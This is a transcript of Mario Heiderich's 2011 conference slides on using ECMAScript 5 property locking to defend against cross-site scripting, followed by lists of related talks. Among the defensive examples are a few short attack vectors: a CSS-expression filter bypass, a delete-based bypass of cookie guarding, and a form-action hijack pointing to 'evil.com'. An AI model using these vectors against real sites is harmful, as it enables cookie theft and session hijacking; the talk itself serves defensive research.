SlideShare a Scribd company logo
1 of 40
Download to read offline
Locking the Throne Room
How ES5+ might change views on XSS and Client Side Security




           A presentation by Mario Heiderich, 2011
Introduction
   Mario Heiderich
       Researcher and PhD student at the Ruhr-University,
        Bochum
       Security Researcher for Microsoft, Redmond
       Security Consultant for XING AG, Hamburg
       Published author and international speaker
       HTML5 Security Cheatsheet / H5SC
       PHPIDS Project
Today's menu
   JavaScript and XSS
       How it all began
       A brief historical overview
   Cross Site Scripting today
       Current mitigation approaches
       A peek into the petri dishes of current development
   A different approach
       ES5 and XSS
   Case study and discussion
   Future work
JavaScript History
   Developed by Brendan Eich as LiveScript
   JavaScript 1.0 published late 1995 by Netscape
   Microsoft developed the JScript dialect
   ECMA-262 1st Edition published in 1998
   JavaScript 1.5/JScript 5.5 in November 2000
   JavaScript 1.6 introducing E4X in late 2006
   JavaScript 1.8 in 2008
   JavaScript 1.8.5 in 2010, ECMA Script 5 compliance
JavaScript and XSS
   Cross Site Scripting
       One site scripting another
       Early vectors abusing Iframes
       First published attacks in the late nineties
       Three major variations
            Reflected XSS
            Persistent XSS
            DOM based XSS / DOMXSS
       Information theft and modification
       Impersonation and leverage of more complex attacks
The DOM
   Document Object Model
       Prototype based representation of HTML/XML trees
       Interfaces for easy JavaScript access
       Methods to read and manipulate DOM subtrees
       Events to notice and process user interaction
       Interaction with browser properties
       Access to magic properties such as document location
       Proprietary interfaces to
            Crypto objects, browser components, style sheets, etc.
XSS today
   An ancient and simple yet unsolved problem
       Complexity
       Browser bugs
       Insecure web applications
       Browser plug-ins
       Impedance mismatches
       Application layer mitigation concepts
       Risk assessment and ignorance
       New features and spec drafts enabling 0-day attacks
   XSS is a user agent problem! Nothing else!
Mitigation History
   Server side
       Native runtime functions, strip_tags(), htmlentities(), etc.
       Runtime libraries and request validation
       External libraries filtering input and output
            HTMLPurifier, AntiSamy, kses, AntiXSS, SafeHTML
            HTTPOnly cookies
   Client side protection mechanisms
       toStaticHTML() in IE8+ and NoScript
       IE8+ XSS filter and Webkit XSS Auditor
       Protective extensions such as NoScript, NotScripts
       Upcoming approaches such as CSP
Impedance mismatch
   Layer A is unaware of Layer B capabilities and flaws
       Layer A deploys the attack
       Layer B executes the exploit
   Case study:
       HTMLPurifier 4.1.1
       Server side HTML filter and XSS mitigation library
       Internet Explorer 8, CSS expressions and a parser bug

       <a style="background:url('/',!
        @x:expression(write(1))//)!'');"></a>
More Examples
   Real World Attack Samples
   Making websites vulnerable that aren't
   Proving server side filters plain ineffective
       Exploding XML Namespaces
       Generating tags from dust
       Exploiting CSS Escape decompilation
       The backtick trick
   VM →
Further vectors
   Plug-in based XSS
       Adobe Reader
       Java applets
       Flash player
       Quicktime videos
       SVG images
   Charset injection and content sniffing
       UTF-7 XSS, EBCDIC, MacFarsi, XSS via images
       Chameleon files, cross context scripting, local XSS
   DOMXSS
Quintessence
   Server side filtering of client side attacks
       Useful and stable for basic XSS protection
   Still not remotely sufficient
       Affected by charsets, impedance mismatch
       Subverted by browser bugs an parser errors
       Rendered useless by DOMXSS
       Bypassed via plug-in based XSS
       Helpless against attacks deployed from different servers
       Not suitable for what XSS has become
   The server cannot serve protection for the client
Revisiting XSS
   XSS attacks target the client
   XSS attacks are being executed client side
   XSS attacks aim for client side data and control
   XSS attacks impersonate the user
   XSS is a client side problem
       Sometimes caused by server side vulnerabilities
       Sometimes caused by a wide range of problems
        transparent for the server
   Still we try to improve server side XSS filters
Idea
   Prevention against XSS in the DOM
   Capability based DOM security
   Inspired by HTTPOnly
       Cookies cannot be read by scripts anymore
       Why not changing document.cookie to do so
   JavaScript up to 1.8.5 enabled this
   Unfortunately Non-Standard
   Example →
__defineGetter__()
<script>
document.__defineGetter__('cookie', function(){
    alert('no cookie access!');
    return false;
});
</script>


…


<script>
    alert(document.cookie)
</script>
Problems
   Proprietary – not working in Internet Explorer
   Loud – an attacker can fingerprint that modification
   Not tamper resistant at all
       JavaScript supplies a delete operator
       Delete operations on DOM properties reset their state
       Getter definitions can simply be overwritten
   Object getters - invalid for DOM protection purposes
   Same for setters and overwritten methods
Bypass
<script>
document.__defineGetter__('cookie', function(){
    alert('no cookie access!');
    return false;
});
</script>
…
<script>
    delete document.cookie;
    alert(document.cookie)
</script>
Tamper Resistance
   First attempts down the prototype chain
       document.__proto__.__defineGetter__()
       Document.prototype
       Components.lookupMethod(document, 'cookie')
   Attempts to register delete event handlers
       Getter and setter definitions for the prototypes
       Setter protection for setters
       Recursion problems
       Interval based workarounds and race conditions
   JavaScript 1.8 unsuitable for DOM based XSS protection
ECMA Script 5
   Most current browsers use JavaScript based on ES3
       Firefox 3
       Internet Explorer 8
       Opera 11
   Few modern ones already ship ES5 compliance
       Google Chrome
       Safari 5
       Firefox 4
       Internet Explorer 9
Object Extensions
   Many novelties in ECMA Script 5
   Relevance for client side XSS mitigation
       Object extensions such as
            Object.freeze()
            Object.seal()
            Object.defineProperty() / Object.defineProperties()
            Object.preventExtensions()
       Less relevant but still interesting
            Proxy Objects
            More meta-programming APIs
            Combinations with DOM Level 3 events
({}).defineProperty()
   Object.defineProperty() and ..Properties()
   Three parameters
       Parent object
       Child object to define
       Descriptor literal
   Descriptors allow to manipulate
       Get / Set behavior
       Value
       “Enumerability”
       “Writeability”
       “Configurability”
   Example →
Example

<script>
Object.defineProperty(document, 'cookie', {
   get: function(){return:false},
   set: function(){return:false},
   configurable:false
});
</script>

…

<script>
   delete document.cookie;
   alert(document.cookie);
</script>
configurable:false
   Setting “configurability” to false is final
       The object description is stronger than delete
       Prototype deletion has to effect
       Re-definition is not possible
       Proprietary access via Components.lookupMethod() does
        not deliver the native object either
   With this method call cookie access can be forbidden
       By the developer
       And by the attacker
Prohibition
   Regulating access in general
       Interesting to prevent cookie theft
       Other properties can be blocked too
       Method access and calls can be forbidden
       Methods can be changed completely
       Horizontal log can be added to any call, access and event
   That is for existing HTML elements as well
   Example →
Action Protection

<script>
var form = document.getElementById('form');
Object.defineProperty(form, 'action', {
   set: IDS_detectHijacking,
   get: IDS_detectStealing,
   configurable:false
});
</script>

…

<script>
   document.forms[0].action='//evil.com';
</script>
First Roundup
   Access prohibition might be effective
   Value and argument logging helps detecting attacks
   Possible IDS solutions are not affected by heavy string
    obfuscation
   No impedance mismatches
       Attacks are detected on they layer they target
       Parser errors do not have effect here
       No effective charset obfuscations
       Immune against plug-in-deployed scripting attacks
       Automatic quasi-normalization
Limitations
   Blacklisting approach
   Continuity issues
   Breaking existing own JavaScript applications
       Forbidding access is often too restrictive
   Breaking third party JavaScript applications
       Tracking scripts (Google Analytics, IVW, etc.)
       Advertiser controlled scripts
   Small adaption rate, high testing effort
   No fine-grained or intelligent approach
Going Further
   No access prohibitions but RBAC via JavaScript
   Possible simplified protocol
       Let object A know about permitted accessors
       Let accessors of object A be checked by the getter/setter
       Let object A react depending on access validity
       Seal object A
       Execute application logic
       Strict policy based approach
   A shared secret between could strengthen the policy
   Example →
RBAC and IDS
<script>
Object.defineProperty(document, 'cookie', {
   set:RBAC_checkSetter(IDS_checkArguments()),
   get:RBAC_checkGetter(IDS_checkArguments())
   configurable:false
});


// identified via arguments.callee.caller
My.allowedMethod(document.cookie);
</script>

…

<script>
   alert(document.cookie)
</script>
Forced Introspection
   Existing properties can gain capabilities
       The added setter will know:
           Who attempts to set
           What value is being used
       The added getter will know:
           Who attempts to get
       An overwritten function will know:
           How the original function looked like
           Who calls the function
           What arguments are being used
   IDS and RBAC are possible
   Tamper resistance thanks to configurable:false
Case Study I
   Stanford JavaScript Crypto Library
   AES256, SHA256, HMAC and more in JavaScript
   „SJCL is secure“
   Not true from an XSS perspective
   Global variables
   Uses
       Math.floor(), Math.max(), Math.random()
       document.attachEvent(), native string methods etc.
       Any of which can be attacker controlled
   High impact vulnerabilities ahead...
Case Study II
   BeEF – Browser Exploitation Framework
   As seen some minutes ago ☺
   Uses global variables
       window.beef = BeefJS;
   Attacker could seal it with Object.defineProperty()
       Else the defender could “counterbeef” it
       BeEF XSS = Exploiting the exploiter
       Maybe a malformed UA string? Or host address?
Deployment
   Website owners should obey a new rule
   „The order of deployment is everything“
   As long as trusted content is being deployed first
       Object.defineProperty() can protect
       Sealing can be used for good
   The script deploying first controls the DOM
       Persistent, tamper resistant and transparent
   Self-defense is possible
   Example →
!defineProperty()
<html>
<head>
<script>
…
Object.defineProperty(Object, 'defineProperty' {
   value:[],
   configurable:false
});
</script>

…

<script>
   Object.defineProperty(window,'secret', {
      get:stealInfo
   }); // TypeError
</script>
Reflection
   Where are we now with ES5?
       Pro:
           We can fully restrict property and method access
           We have the foundation for a client side IDS and RBAC
           We can regulate Object access, extension and modification
           CSP and sandboxed Iframes support this approach
       Contra:
           It's a blacklist
           Magic properties cause problems
           We need to prevent creation of a fresh DOM
           Right now the DOM sucks!
   Still we can approach XSS w/o any obfuscation
Easing Adaptation
   JS based IDS and RBAC is not easy to grasp
   Possible adaptation boosters include
       Usage ready libraries
       Well readable policy files (JSON)
       GUI Tools for individual policies
            Automated parsing of existing libraries and scripts
            Security levels and developer compatible docs
   Community driven hardening and vendor adaptation
   Interfaces to server-side filter logic
   Spreading awareness for security sake!
Future Work I
   We need to fix the DOM
       Heard of the addEventListener() black-hole?
   Specify a whitelist based approach
   Refine event handling and DOM properties
       DOMBeforeSubtreeModified
       DOMBeforeInsertNode
       DOMBefore...
   We need DOM Proxies!
   The DOM needs more “trustability”
   Monitor and contribute to ES6 and ES7
Future Work II
   Address browser vendors about concerns and bugs
       Double freezing, lack of ES5 support, peculiarities
       Find better ways to treat JavaScript URIs
       Provide a safe and homogeneous DOM
   Create a model framework, support majors libraries
   Learn from other sandbox approaches
   Academic publications, acquire early adopters
   Spread awareness on ES5+ and the attached implications

   Finally, somehow tell online advertisers in a charming way, what
    they have to expect soon...
Wrap-Up
   XSS remains undefeated
   RIAs gain complexity and power
   Client-agnostic server side filters designed to fail

   Time for a new approach
   Still a lot of work to be done
   No one said it'd be easy
Questions
   Thanks for your time!
   Discussion?

   Thanks for advice and contribution:
       Gareth Heyes
       Stefano Di Paola
       Eduardo Vela
       John Wilander and Mattias Bergling
       Jonas Magazinius
       Michele Orru
       Phung et al.
       All unmentioned contributors

More Related Content

What's hot

Dev and Blind - Attacking the weakest Link in IT Security
Dev and Blind - Attacking the weakest Link in IT SecurityDev and Blind - Attacking the weakest Link in IT Security
Dev and Blind - Attacking the weakest Link in IT SecurityMario Heiderich
 
Locking the Throneroom 2.0
Locking the Throneroom 2.0Locking the Throneroom 2.0
Locking the Throneroom 2.0Mario Heiderich
 
JavaScript From Hell - CONFidence 2.0 2009
JavaScript From Hell - CONFidence 2.0 2009JavaScript From Hell - CONFidence 2.0 2009
JavaScript From Hell - CONFidence 2.0 2009Mario Heiderich
 
The Ultimate IDS Smackdown
The Ultimate IDS SmackdownThe Ultimate IDS Smackdown
The Ultimate IDS SmackdownMario Heiderich
 
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...Mario Heiderich
 
The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010Mario Heiderich
 
A XSSmas carol
A XSSmas carolA XSSmas carol
A XSSmas carolcgvwzq
 
ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes,...
ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes,...ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes,...
ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes,...Mario Heiderich
 
Breaking AngularJS Javascript sandbox
Breaking AngularJS Javascript sandboxBreaking AngularJS Javascript sandbox
Breaking AngularJS Javascript sandboxMathias Karlsson
 
Trusted Types and the end of DOM XSS
Trusted Types and the end of DOM XSSTrusted Types and the end of DOM XSS
Trusted Types and the end of DOM XSSKrzysztof Kotowicz
 
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)Krzysztof Kotowicz
 
Incremental DOM and Recent Trend of Frontend Development
Incremental DOM and Recent Trend of Frontend DevelopmentIncremental DOM and Recent Trend of Frontend Development
Incremental DOM and Recent Trend of Frontend DevelopmentAkihiro Ikezoe
 
Developer's Guide to JavaScript and Web Cryptography
Developer's Guide to JavaScript and Web CryptographyDeveloper's Guide to JavaScript and Web Cryptography
Developer's Guide to JavaScript and Web CryptographyKevin Hakanson
 
Defcon 20-zulla-improving-web-vulnerability-scanning
Defcon 20-zulla-improving-web-vulnerability-scanningDefcon 20-zulla-improving-web-vulnerability-scanning
Defcon 20-zulla-improving-web-vulnerability-scanningzulla
 
Security and why you need to review yours.
Security and why you need to review yours.Security and why you need to review yours.
Security and why you need to review yours.David Busby, CISSP
 
Reverse Engineering Malicious Javascript
Reverse Engineering Malicious JavascriptReverse Engineering Malicious Javascript
Reverse Engineering Malicious JavascriptYusuf Motiwala
 
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.Krzysztof Kotowicz
 
The Bleeding Edge
The Bleeding EdgeThe Bleeding Edge
The Bleeding EdgejClarity
 

What's hot (20)

Dev and Blind - Attacking the weakest Link in IT Security
Dev and Blind - Attacking the weakest Link in IT SecurityDev and Blind - Attacking the weakest Link in IT Security
Dev and Blind - Attacking the weakest Link in IT Security
 
Locking the Throneroom 2.0
Locking the Throneroom 2.0Locking the Throneroom 2.0
Locking the Throneroom 2.0
 
JavaScript From Hell - CONFidence 2.0 2009
JavaScript From Hell - CONFidence 2.0 2009JavaScript From Hell - CONFidence 2.0 2009
JavaScript From Hell - CONFidence 2.0 2009
 
The Ultimate IDS Smackdown
The Ultimate IDS SmackdownThe Ultimate IDS Smackdown
The Ultimate IDS Smackdown
 
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
 
The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010
 
A XSSmas carol
A XSSmas carolA XSSmas carol
A XSSmas carol
 
ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes,...
ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes,...ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes,...
ECMAScript 6 from an Attacker's Perspective - Breaking Frameworks, Sandboxes,...
 
Breaking AngularJS Javascript sandbox
Breaking AngularJS Javascript sandboxBreaking AngularJS Javascript sandbox
Breaking AngularJS Javascript sandbox
 
Trusted Types @ W3C TPAC 2018
Trusted Types @ W3C TPAC 2018Trusted Types @ W3C TPAC 2018
Trusted Types @ W3C TPAC 2018
 
Trusted Types and the end of DOM XSS
Trusted Types and the end of DOM XSSTrusted Types and the end of DOM XSS
Trusted Types and the end of DOM XSS
 
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
 
Introduccion a HTML5
Introduccion a HTML5Introduccion a HTML5
Introduccion a HTML5
 
Incremental DOM and Recent Trend of Frontend Development
Incremental DOM and Recent Trend of Frontend DevelopmentIncremental DOM and Recent Trend of Frontend Development
Incremental DOM and Recent Trend of Frontend Development
 
Developer's Guide to JavaScript and Web Cryptography
Developer's Guide to JavaScript and Web CryptographyDeveloper's Guide to JavaScript and Web Cryptography
Developer's Guide to JavaScript and Web Cryptography
 
Defcon 20-zulla-improving-web-vulnerability-scanning
Defcon 20-zulla-improving-web-vulnerability-scanningDefcon 20-zulla-improving-web-vulnerability-scanning
Defcon 20-zulla-improving-web-vulnerability-scanning
 
Security and why you need to review yours.
Security and why you need to review yours.Security and why you need to review yours.
Security and why you need to review yours.
 
Reverse Engineering Malicious Javascript
Reverse Engineering Malicious JavascriptReverse Engineering Malicious Javascript
Reverse Engineering Malicious Javascript
 
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
 
The Bleeding Edge
The Bleeding EdgeThe Bleeding Edge
The Bleeding Edge
 

Similar to Locking the Throne Room - How ES5+ might change views on XSS and Client Side Security

AJAX: How to Divert Threats
AJAX:  How to Divert ThreatsAJAX:  How to Divert Threats
AJAX: How to Divert ThreatsCenzic
 
Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation Ikhade Maro Igbape
 
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web ServicesWeb 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web ServicesShreeraj Shah
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encodingEoin Keary
 
Secure web messaging in HTML5
Secure web messaging in HTML5Secure web messaging in HTML5
Secure web messaging in HTML5Krishna T
 
Automated JavaScript Deobfuscation - PacSec 2007
Automated JavaScript Deobfuscation - PacSec 2007Automated JavaScript Deobfuscation - PacSec 2007
Automated JavaScript Deobfuscation - PacSec 2007Stephan Chenette
 
XSS Primer - Noob to Pro in 1 hour
XSS Primer - Noob to Pro in 1 hourXSS Primer - Noob to Pro in 1 hour
XSS Primer - Noob to Pro in 1 hoursnoopythesecuritydog
 
Owasp top 10_openwest_2019
Owasp top 10_openwest_2019Owasp top 10_openwest_2019
Owasp top 10_openwest_2019Sean Jackson
 
XCS110_All_Slides.pdf
XCS110_All_Slides.pdfXCS110_All_Slides.pdf
XCS110_All_Slides.pdfssuser01066a
 
Sandboxing JS and HTML. A lession Learned
Sandboxing JS and HTML. A lession LearnedSandboxing JS and HTML. A lession Learned
Sandboxing JS and HTML. A lession LearnedMinded Security
 
Dom Hackking & Security - BlackHat Preso
Dom Hackking & Security - BlackHat PresoDom Hackking & Security - BlackHat Preso
Dom Hackking & Security - BlackHat PresoShreeraj Shah
 
XSS filter on Server side
XSS filter on Server sideXSS filter on Server side
XSS filter on Server sidecuteboysmith
 
Modern Web Technologies
Modern Web TechnologiesModern Web Technologies
Modern Web TechnologiesPerttu Myry
 
Web 2.0 Hacking
Web 2.0 HackingWeb 2.0 Hacking
Web 2.0 Hackingblake101
 

Similar to Locking the Throne Room - How ES5+ might change views on XSS and Client Side Security (20)

Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 
AJAX: How to Divert Threats
AJAX:  How to Divert ThreatsAJAX:  How to Divert Threats
AJAX: How to Divert Threats
 
Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation
 
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web ServicesWeb 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
 
WebSec_MSR.ppt
WebSec_MSR.pptWebSec_MSR.ppt
WebSec_MSR.ppt
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encoding
 
Secure web messaging in HTML5
Secure web messaging in HTML5Secure web messaging in HTML5
Secure web messaging in HTML5
 
Automated JavaScript Deobfuscation - PacSec 2007
Automated JavaScript Deobfuscation - PacSec 2007Automated JavaScript Deobfuscation - PacSec 2007
Automated JavaScript Deobfuscation - PacSec 2007
 
XSS Primer - Noob to Pro in 1 hour
XSS Primer - Noob to Pro in 1 hourXSS Primer - Noob to Pro in 1 hour
XSS Primer - Noob to Pro in 1 hour
 
Owasp top 10_openwest_2019
Owasp top 10_openwest_2019Owasp top 10_openwest_2019
Owasp top 10_openwest_2019
 
XCS110_All_Slides.pdf
XCS110_All_Slides.pdfXCS110_All_Slides.pdf
XCS110_All_Slides.pdf
 
Sandboxing JS and HTML. A lession Learned
Sandboxing JS and HTML. A lession LearnedSandboxing JS and HTML. A lession Learned
Sandboxing JS and HTML. A lession Learned
 
Unusual Web Bugs
Unusual Web BugsUnusual Web Bugs
Unusual Web Bugs
 
Web Bugs
Web BugsWeb Bugs
Web Bugs
 
Complete xss walkthrough
Complete xss walkthroughComplete xss walkthrough
Complete xss walkthrough
 
Dom Hackking & Security - BlackHat Preso
Dom Hackking & Security - BlackHat PresoDom Hackking & Security - BlackHat Preso
Dom Hackking & Security - BlackHat Preso
 
XSS filter on Server side
XSS filter on Server sideXSS filter on Server side
XSS filter on Server side
 
Modern Web Technologies
Modern Web TechnologiesModern Web Technologies
Modern Web Technologies
 
Secure java script-for-developers
Secure java script-for-developersSecure java script-for-developers
Secure java script-for-developers
 
Web 2.0 Hacking
Web 2.0 HackingWeb 2.0 Hacking
Web 2.0 Hacking
 

Recently uploaded

Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxUse of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxLoriGlavin3
 
Take control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteTake control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteDianaGray10
 
unit 4 immunoblotting technique complete.pptx
unit 4 immunoblotting technique complete.pptxunit 4 immunoblotting technique complete.pptx
unit 4 immunoblotting technique complete.pptxBkGupta21
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsSergiu Bodiu
 
DSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningDSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningLars Bell
 
From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .Alan Dix
 
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptxPasskey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptxLoriGlavin3
 
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024BookNet Canada
 
What is DBT - The Ultimate Data Build Tool.pdf
What is DBT - The Ultimate Data Build Tool.pdfWhat is DBT - The Ultimate Data Build Tool.pdf
What is DBT - The Ultimate Data Build Tool.pdfMounikaPolabathina
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brandgvaughan
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenHervé Boutemy
 
Sample pptx for embedding into website for demo
Sample pptx for embedding into website for demoSample pptx for embedding into website for demo
Sample pptx for embedding into website for demoHarshalMandlekar2
 
What is Artificial Intelligence?????????
What is Artificial Intelligence?????????What is Artificial Intelligence?????????
What is Artificial Intelligence?????????blackmambaettijean
 
A Journey Into the Emotions of Software Developers
A Journey Into the Emotions of Software DevelopersA Journey Into the Emotions of Software Developers
A Journey Into the Emotions of Software DevelopersNicole Novielli
 
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptxThe Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptxLoriGlavin3
 
Digital Identity is Under Attack: FIDO Paris Seminar.pptx
Digital Identity is Under Attack: FIDO Paris Seminar.pptxDigital Identity is Under Attack: FIDO Paris Seminar.pptx
Digital Identity is Under Attack: FIDO Paris Seminar.pptxLoriGlavin3
 
Generative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information DevelopersGenerative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information DevelopersRaghuram Pandurangan
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc
 
Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!Manik S Magar
 
How to write a Business Continuity Plan
How to write a Business Continuity PlanHow to write a Business Continuity Plan
How to write a Business Continuity PlanDatabarracks
 

Recently uploaded (20)

Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxUse of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
 
Take control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteTake control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test Suite
 
unit 4 immunoblotting technique complete.pptx
unit 4 immunoblotting technique complete.pptxunit 4 immunoblotting technique complete.pptx
unit 4 immunoblotting technique complete.pptx
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platforms
 
DSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningDSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine Tuning
 
From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .
 
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptxPasskey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptx
 
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
 
What is DBT - The Ultimate Data Build Tool.pdf
What is DBT - The Ultimate Data Build Tool.pdfWhat is DBT - The Ultimate Data Build Tool.pdf
What is DBT - The Ultimate Data Build Tool.pdf
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brand
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache Maven
 
Sample pptx for embedding into website for demo
Sample pptx for embedding into website for demoSample pptx for embedding into website for demo
Sample pptx for embedding into website for demo
 
What is Artificial Intelligence?????????
What is Artificial Intelligence?????????What is Artificial Intelligence?????????
What is Artificial Intelligence?????????
 
A Journey Into the Emotions of Software Developers
A Journey Into the Emotions of Software DevelopersA Journey Into the Emotions of Software Developers
A Journey Into the Emotions of Software Developers
 
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptxThe Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
 
Digital Identity is Under Attack: FIDO Paris Seminar.pptx
Digital Identity is Under Attack: FIDO Paris Seminar.pptxDigital Identity is Under Attack: FIDO Paris Seminar.pptx
Digital Identity is Under Attack: FIDO Paris Seminar.pptx
 
Generative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information DevelopersGenerative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information Developers
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
 
Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!
 
